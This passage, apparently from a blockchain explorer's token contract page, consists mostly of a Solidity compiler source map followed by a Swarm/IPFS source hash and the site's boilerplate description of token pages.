:i;:::-;12273:74;;12229:128;12013:351;;;;:::o;12370:332::-;12491:4;12529:2;12518:9;12514:18;12506:26;;12542:71;12610:1;12599:9;12595:17;12586:6;12542:71;:::i;:::-;12623:72;12691:2;12680:9;12676:18;12667:6;12623:72;:::i;:::-;12370:332;;;;;:::o;12708:163::-;12848:15;12844:1;12836:6;12832:14;12825:39;12708:163;:::o;12877:366::-;13019:3;13040:67;13104:2;13099:3;13040:67;:::i;:::-;13033:74;;13116:93;13205:3;13116:93;:::i;:::-;13234:2;13229:3;13225:12;13218:19;;12877:366;;;:::o;13249:419::-;13415:4;13453:2;13442:9;13438:18;13430:26;;13502:9;13496:4;13492:20;13488:1;13477:9;13473:17;13466:47;13530:131;13656:4;13530:131;:::i;:::-;13522:139;;13249:419;;;:::o;13674:224::-;13814:34;13810:1;13802:6;13798:14;13791:58;13883:7;13878:2;13870:6;13866:15;13859:32;13674:224;:::o;13904:366::-;14046:3;14067:67;14131:2;14126:3;14067:67;:::i;:::-;14060:74;;14143:93;14232:3;14143:93;:::i;:::-;14261:2;14256:3;14252:12;14245:19;;13904:366;;;:::o;14276:419::-;14442:4;14480:2;14469:9;14465:18;14457:26;;14529:9;14523:4;14519:20;14515:1;14504:9;14500:17;14493:47;14557:131;14683:4;14557:131;:::i;:::-;14549:139;;14276:419;;;:::o;14701:163::-;14841:15;14837:1;14829:6;14825:14;14818:39;14701:163;:::o;14870:366::-;15012:3;15033:67;15097:2;15092:3;15033:67;:::i;:::-;15026:74;;15109:93;15198:3;15109:93;:::i;:::-;15227:2;15222:3;15218:12;15211:19;;14870:366;;;:::o;15242:419::-;15408:4;15446:2;15435:9;15431:18;15423:26;;15495:9;15489:4;15485:20;15481:1;15470:9;15466:17;15459:47;15523:131;15649:4;15523:131;:::i;:::-;15515:139;;15242:419;;;:::o;15667:174::-;15807:26;15803:1;15795:6;15791:14;15784:50;15667:174;:::o;15847:366::-;15989:3;16010:67;16074:2;16069:3;16010:67;:::i;:::-;16003:74;;16086:93;16175:3;16086:93;:::i;:::-;16204:2;16199:3;16195:12;16188:19;;15847:366;;;:::o;16219:419::-;16385:4;16423:2;16412:9;16408:18;16400:26;;16472:9;16466:4;16462:20;16458:1;16447:9;16443:17;16436:47;16500:131;16626:4;16500:131;:::i;:::-;16492:139;;16219:419;;;:::o;16644:225::-;16784:34;16780:1;16772:6;16768:14;16761:58;16853:8;16848:2;16840:6;16836:15;16829:33;16644:225;:::o;16875:366::-;17017:3;17038:67;17102:2;17097:3;17038:67;:::i;:::-;17031:74;;17114:93;17203:3;17114:93;:::i;:::-;17232:2;17227:3;17223:12;17216:19;;16875:366;;;:::o;17247:419::-;17413:4;17451:2;17440:9;17436:18;17428:26;;17500:9;17494:4;17490:20;17486:1;17475:9;17471:17;17464:47;17528:131;17654:4;17528:131;:::i;:::-;17520:139;;17247:419;;;:::o;17672:162::-;17812:14;17808:1;17800:6;17796:14;17789:38;17672:162;:::o;17840:366::-;17982:3;18003:67;18067:2;18062:3;18003:67;:::i;:::-;17996:74;;18079:93;18168:3;18079:93;:::i;:::-;18197:2;18192:3;18188:12;18181:19;;17840:366;;;:::o;18212:419::-;18378:4;18416:2;18405:9;18401:18;18393:26;;18465:9;18459:4;18455:20;18451:1;18440:9;18436:17;18429:47;18493:131;18619:4;18493:131;:::i;:::-;18485:139;;18212:419;;;:::o;18637:410::-;18677:7;18700:20;18718:1;18700:20;:::i;:::-;18695:25;;18734:20;18752:1;18734:20;:::i;:::-;18729:25;;18789:1;18786;18782:9;18811:30;18829:11;18811:30;:::i;:::-;18800:41;;18990:1;18981:7;18977:15;18974:1;18971:22;18951:1;18944:9;18924:83;18901:139;;19020:18;;:::i;:::-;18901:139;18685:362;18637:410;;;;:::o;19053:194::-;19093:4;19113:20;19131:1;19113:20;:::i;:::-;19108:25;;19147:20;19165:1;19147:20;:::i;:::-;19142:25;;19191:1;19188;19184:9;19176:17;;19215:1;19209:4;19206:11;19203:37;;;19220:18;;:::i;:::-;19203:37;19053:194;;;;:::o;19253:223::-;19393:34;19389:1;19381:6;19377:14;19370:58;19462:6;19457:2;19449:6;19445:15;19438:31;19253:223;:::o;19482:366::-;19624:3;19645:67;19709:2;19704:3;19645:67;:::i;:::-;19638:74;;19721:93;19810:3;19721:93;:::i;:::-;19839:2;19834:3;19830:12;19823:19;;19482:366;;;:::o;19854:419::-;20020:4;20058:2;20047:9;20043:18;20035:26;;20107:9;20101:4;20097:20;20093:1;20082:9;20078:17;20071:47;20135:131;20261:4;20135:131;:::i;:::-;20127:139;;19854:419;;;:::o;20279:221::-;20419:34;20415:1;20407:6;20403:14;20396:58;20488:4;20483:2;20475:6;20471:15;20464:29;20279:221;:::o;20506:366::-;20648:3;20669:67;20733:2;20728:3;20669:67;:::i;:::-;20662:74;;20745:93;20834:3;20745:93;:::i;:::-;20863:2;20858:3;20854:12;20847:19;;20506:366;;;:::o;20878:419::-;21044:4;21082:2;21071:9;21067:18;21059:26;;21131:9;21125:4;21121:20;21117:1;21106:9;21102:17;21095:47;21159:131;21285:4;21159:131;:::i;:::-;21151:139;;20878:419;;;:::o;21303:179::-;21443:31;21439:1;21431:6;21427:14;21420:55;21303:179;:::o;21488:366::-;21630:3;21651:67;21715:2;21710:3;21651:67;:::i;:::-;21644:74;;21727:93;21816:3;21727:93;:::i;:::-;21845:2;21840:3;21836:12;21829:19;;21488:366;;;:::o;21860:419::-;22026:4;22064:2;22053:9;22049:18;22041:26;;22113:9;22107:4;22103:20;22099:1;22088:9;22084:17;22077:47;22141:131;22267:4;22141:131;:::i;:::-;22133:139;;21860:419;;;:::o;22285:224::-;22425:34;22421:1;22413:6;22409:14;22402:58;22494:7;22489:2;22481:6;22477:15;22470:32;22285:224;:::o;22515:366::-;22657:3;22678:67;22742:2;22737:3;22678:67;:::i;:::-;22671:74;;22754:93;22843:3;22754:93;:::i;:::-;22872:2;22867:3;22863:12;22856:19;;22515:366;;;:::o;22887:419::-;23053:4;23091:2;23080:9;23076:18;23068:26;;23140:9;23134:4;23130:20;23126:1;23115:9;23111:17;23104:47;23168:131;23294:4;23168:131;:::i;:::-;23160:139;;22887:419;;;:::o;23312:222::-;23452:34;23448:1;23440:6;23436:14;23429:58;23521:5;23516:2;23508:6;23504:15;23497:30;23312:222;:::o;23540:366::-;23682:3;23703:67;23767:2;23762:3;23703:67;:::i;:::-;23696:74;;23779:93;23868:3;23779:93;:::i;:::-;23897:2;23892:3;23888:12;23881:19;;23540:366;;;:::o;23912:419::-;24078:4;24116:2;24105:9;24101:18;24093:26;;24165:9;24159:4;24155:20;24151:1;24140:9;24136:17;24129:47;24193:131;24319:4;24193:131;:::i;:::-;24185:139;;23912:419;;;:::o;24337:180::-;24385:77;24382:1;24375:88;24482:4;24479:1;24472:15;24506:4;24503:1;24496:15;24523:185;24563:1;24580:20;24598:1;24580:20;:::i;:::-;24575:25;;24614:20;24632:1;24614:20;:::i;:::-;24609:25;;24653:1;24643:35;;24658:18;;:::i;:::-;24643:35;24700:1;24697;24693:9;24688:14;;24523:185;;;;:::o;24714:155::-;24854:7;24850:1;24842:6;24838:14;24831:31;24714:155;:::o;24875:365::-;25017:3;25038:66;25102:1;25097:3;25038:66;:::i;:::-;25031:73;;25113:93;25202:3;25113:93;:::i;:::-;25231:2;25226:3;25222:12;25215:19;;24875:365;;;:::o;25246:419::-;25412:4;25450:2;25439:9;25435:18;25427:26;;25499:9;25493:4;25489:20;25485:1;25474:9;25470:17;25463:47;25527:131;25653:4;25527:131;:::i;:::-;25519:139;;25246:419;;;:::o;25671:171::-;25811:23;25807:1;25799:6;25795:14;25788:47;25671:171;:::o;25848:366::-;25990:3;26011:67;26075:2;26070:3;26011:67;:::i;:::-;26004:74;;26087:93;26176:3;26087:93;:::i;:::-;26205:2;26200:3;26196:12;26189:19;;25848:366;;;:::o;26220:419::-;26386:4;26424:2;26413:9;26409:18;26401:26;;26473:9;26467:4;26463:20;26459:1;26448:9;26444:17;26437:47;26501:131;26627:4;26501:131;:::i;:::-;26493:139;;26220:419;;;:::o;26645:180::-;26693:77;26690:1;26683:88;26790:4;26787:1;26780:15;26814:4;26811:1;26804:15;26831:180;26879:77;26876:1;26869:88;26976:4;26973:1;26966:15;27000:4;26997:1;26990:15;27017:85;27062:7;27091:5;27080:16;;27017:85;;;:::o;27108:158::-;27166:9;27199:61;27217:42;27226:32;27252:5;27226:32;:::i;:::-;27217:42;:::i;:::-;27199:61;:::i;:::-;27186:74;;27108:158;;;:::o;27272:147::-;27367:45;27406:5;27367:45;:::i;:::-;27362:3;27355:58;27272:147;;:::o;27425:114::-;27492:6;27526:5;27520:12;27510:22;;27425:114;;;:::o;27545:184::-;27644:11;27678:6;27673:3;27666:19;27718:4;27713:3;27709:14;27694:29;;27545:184;;;;:::o;27735:132::-;27802:4;27825:3;27817:11;;27855:4;27850:3;27846:14;27838:22;;27735:132;;;:::o;27873:108::-;27950:24;27968:5;27950:24;:::i;:::-;27945:3;27938:37;27873:108;;:::o;27987:179::-;28056:10;28077:46;28119:3;28111:6;28077:46;:::i;:::-;28155:4;28150:3;28146:14;28132:28;;27987:179;;;;:::o;28172:113::-;28242:4;28274;28269:3;28265:14;28257:22;;28172:113;;;:::o;28321:732::-;28440:3;28469:54;28517:5;28469:54;:::i;:::-;28539:86;28618:6;28613:3;28539:86;:::i;:::-;28532:93;;28649:56;28699:5;28649:56;:::i;:::-;28728:7;28759:1;28744:284;28769:6;28766:1;28763:13;28744:284;;;28845:6;28839:13;28872:63;28931:3;28916:13;28872:63;:::i;:::-;28865:70;;28958:60;29011:6;28958:60;:::i;:::-;28948:70;;28804:224;28791:1;28788;28784:9;28779:14;;28744:284;;;28748:14;29044:3;29037:10;;28445:608;;;28321:732;;;;:::o;29059:831::-;29322:4;29360:3;29349:9;29345:19;29337:27;;29374:71;29442:1;29431:9;29427:17;29418:6;29374:71;:::i;:::-;29455:80;29531:2;29520:9;29516:18;29507:6;29455:80;:::i;:::-;29582:9;29576:4;29572:20;29567:2;29556:9;29552:18;29545:48;29610:108;29713:4;29704:6;29610:108;:::i;:::-;29602:116;;29728:72;29796:2;29785:9;29781:18;29772:6;29728:72;:::i;:::-;29810:73;29878:3;29867:9;29863:19;29854:6;29810:73;:::i;:::-;29059:831;;;;;;;;:::o

Swarm Source

ipfs://07c5e1fb0df0c371d11753e43f0ecc92b889e1e8193ed437966e3edb294b15f6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.